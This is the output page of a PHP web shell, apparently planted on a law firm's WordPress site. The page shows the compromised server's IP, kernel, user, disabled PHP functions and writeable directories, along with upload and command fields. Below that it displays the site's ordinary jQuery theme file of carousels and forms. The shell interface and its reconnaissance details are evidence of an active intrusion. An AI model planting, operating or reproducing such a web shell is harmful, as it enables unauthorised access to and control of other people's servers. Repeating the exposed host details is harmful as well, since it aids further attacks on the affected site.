403Webshell
Server IP : 141.193.213.10  /  Your IP : 216.73.216.101
Web Server : nginx
System : Linux pod-400555 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64
User : fpm200079 ( 200079)
PHP Version : 8.2.36
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nas/content/live/bartislaw/wp-content/themes/spk/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nas/content/live/bartislaw/wp-content/themes/spk/js/theme.js
jQuery(document).ready(function ($) {
    $(".response-menu-header .menu-item-has-children ul").hide();
    $(".response-menu-header .menu-item-has-children > a").click(function () {
        $(this).next("ul").toggle('slow');
        return false;
    });
    /*..............Make Link Un Clickable if Empty..............*/
    $("a").each(function () {
        if ($(this).attr('href') === '') {
            $(this).removeAttr("href");
        } else {
            $(this).show();
        }
    });
    /*............................Map Mouse Event............................*/
    $('.mapMarker iframe').addClass('scrolloff'); // set the pointer events to none on doc ready
    $('.mapMarker').on('click', function () {
        $('.mapMarker iframe').removeClass('scrolloff'); // set the pointer events true on click
    });
    $(".mapMarker").mouseleave(function () {
        $('.mapMarker iframe').addClass('scrolloff'); // set the pointer events to none when mouse leaves the map area
    });
    /*.............................................................*/
    var imageWidth = 600;
    jQuery(document).ready(function ($) {
        var currentImage = 0;
        var allImages = $('#slideshow li img').length;
        $('#slideshow ul').width(allImages * imageWidth);
        $('.slideshow-next').click(function () {
            currentImage++;
            if (currentImage >= allImages)
                currentImage = 0;
            setFramePosition(currentImage);
        });
        $('.slideshow-prev').click(function () {
            currentImage--;
            if (currentImage < 0)
                currentImage = allImages - 1;
            setFramePosition(currentImage);
        });
    });
    function setFramePosition(pos) {
        var px = imageWidth * pos * -1;
        jQuery('#slideshow ul').animate({
            left: px
        }, 300);
    }
    /*..............Banner Slider..............*/
    var banner = $('#banner-slider');
    banner.owlCarousel({
        autoplay: true,
        loop: false,
        nav: true,
        dot: true,
        margin: 0,
        autoplayTimeout: 4000,
        responsiveClass: true,
        touchDrag: true,
        mouseDrag: false,
//        rewindNav: true,
        responsive: {
            0: {
                items: 1,
                nav: false
            },
            600: {
                items: 1,
                nav: false
            },
            1000: {
                items: 1,
                nav: false,
                loop: false
            }
        }
    })
    /*..............Practice Icon Home..............*/
    var practice_icon = $('.practice_icon');
    practice_icon.owlCarousel({
        autoplay: true,
        loop: false,
        nav: true,
        margin: 10,
        autoplayTimeout: 4000,
        responsiveClass: true,
        touchDrag: true,
        mouseDrag: false,
        responsive: {
            0: {
                items: 1,
                nav: false
            },
            600: {
                items: 2,
                nav: false
            },
            1000: {
                items: 10,
                nav: false,
                loop: false
            },
            1200: {
                items: 10,
                nav: false,
                loop: false
            }
        }
    })
    /*..............Practice Area Home..............*/
    var practice_area = $('#practice_area');
    practice_area.owlCarousel({
        autoplay: true,
        loop: false,
        nav: false,
        dots: true,
        margin: 30,
        autoplayTimeout: 4000,
        responsiveClass: true,
        touchDrag: true,
        mouseDrag: false,
//        rewindNav: true,
        responsive: {
            0: {
                items: 1,
                nav: false,
            },
            600: {
                items: 2,
                nav: false,
            },
            1000: {
                items: 3,
                nav: false,
                loop: false
            }
        }
    });
    /*..............Accolades Home..............*/
    var owl = $('#accolades');
    $.each(owl, function (key, _owl) {
        var _items = $(_owl).attr('data-items') || 1, _speed = $(_owl).attr('data-speed') || 1300;
        $(_owl).owlCarousel({
            autoplay: true,
            loop: false,
            nav: true,
            margin: 0,
            autoplayTimeout: 4000,
            responsiveClass: true,
            touchDrag: true,
            mouseDrag: false,
            responsive: {
                0: {
                    items: 1,
                    nav: false,
                },
                600: {
                    items: 3,
                    nav: false,
                },
                1000: {
                    items: 5,
                    nav: false,
                }
            }
        });
    }); 
   var owl = $('#practice_area2');
    $.each(owl, function (key, _owl) {
        var _items = $(_owl).attr('data-items') || 1, _speed = $(_owl).attr('data-speed') || 1300;
        $(_owl).owlCarousel({
            autoplay: true,
            loop: false,
            nav: true,
            margin: 20,
            autoplayTimeout: 4000,
            responsiveClass: true,
            touchDrag: true,
            mouseDrag: false,
            responsive: {
                0: {
                    items: 1,
                    nav: false,
                },
                600: {
                    items: 2,
                    nav: false,
                },
                1000: {
                    items: 3,
                    nav: false,
                }
            }
        });
    });
    /*......................Blog Category Drop down Js.....................*/
    $('body').on('change', '#cat', function (e) {
        var CheckID = $(this).val();
        if (CheckID == "-1") {
            return false
        } else {
            $(this).closest('form').trigger('submit');
        }
    });
    /*......................Testimonial Form Code.....................*/
    $('body').on('click', '#TestimonailFormBtn', function (e) {
        $('#wrap-form-msg').removeClass('alert-success');
        $('#wrap-form-msg').removeClass('alert-danger');
        $('#TestimonailFormBtn').css('opacity', '0.7');
        $('#LoaderJs').css('display', 'block');
        var url = window.location.href;
        $.ajax({
            type: "POST",
            url: "/wp-admin/admin-ajax.php",
            data: $("#TestimonailForm").serialize() + "&action=TestimonailAddTbl&url=" + url,
            dataType: "json",
            success: function (data) {
                if ('success' == data.result)
                {
                    $('#wrap-form-msg').html(data.msg);
                    $('#TestimonailFormBtn').css('opacity', '1');
                    $('#TestimonailFormBtn').removeAttr('disabled');
                    $('#LoaderJs').css('display', 'none');
                    $('#wrap-form-msg').html(data.msg[0]);
                    $('#TestimonailForm')[0].reset();
                }
                if ('error' == data.result)
                {
                    $('#wrap-form-msg').css('visibility', 'visible').hide().fadeIn().removeClass('hidden').addClass('alert-danger');
                    $('#TestimonailFormBtn').css('opacity', '1');
                    $('#TestimonailFormBtn').removeAttr('disabled');
                    $('#LoaderJs').css('display', 'none');
                    $('#wrap-form-msg').html(data.msg[0]);
                    $('html, body').animate({scrollTop: $('#TestimonailForm').offset().top}, 'slow');
                }

            }
        });
        return false;
    });
    $(function () {
        $(".youtube").each(function () {
            $(this).append($('<div/>', {'class': 'play'}));
            $(document).delegate('#' + this.id, 'click', function () {
                var iframe_url = "https://www.youtube.com/embed/" + this.id + "?rel=0&autoplay=1";
                if ($(this).data('params'))
                    iframe_url += '&' + $(this).data('params');
                var iframe = $('<iframe/>', {'frameborder': '0', 'src': iframe_url, 'width': $(this).width(), 'height': $(this).height()})
                $(this).replaceWith(iframe);
            });
        });
    });
});
jQuery(function ($) {
    $('#my-fast-map a').on('click', function (e) {
        e.preventDefault();
        map = $(this).parent();
        iframe_src = map.data('iframe-src');
        iframe_width = map.data('iframe-width');
        iframe_height = map.data('iframe-height');
        map.html('<iframe src="' + iframe_src + '" width="' + iframe_width + '" height="' + iframe_height + '" allowfullscreen></iframe>');
        return false;
    });
});

$(function () {
    $(".vimeo").each(function () {
        // Overlay the Play icon to make it look like a video player
        $(this).append($('<div/>', {'class': 'vimeoplay'}));
        $(document).delegate('#' + this.id, 'click', function () {
            // Create an iFrame with autoplay set to true
         var iframe_url = "//player.vimeo.com/video/" + this.id + "/?autoplay=1";
            if ($(this).data('params'))
                iframe_url += '&' + $(this).data('params');

            // The height and width of the iFrame should be the same as parent
            var iframe = $('<iframe/>', {'frameborder': '0', 'src': iframe_url, 'width': $(this).width(), 'height': $(this).height()})

            // Replace the YouTube thumbnail with YouTube HTML5 Player
            $(this).replaceWith(iframe);
        });
    });
});

Youez - 2016 - github.com/yon3zu
LinuXploit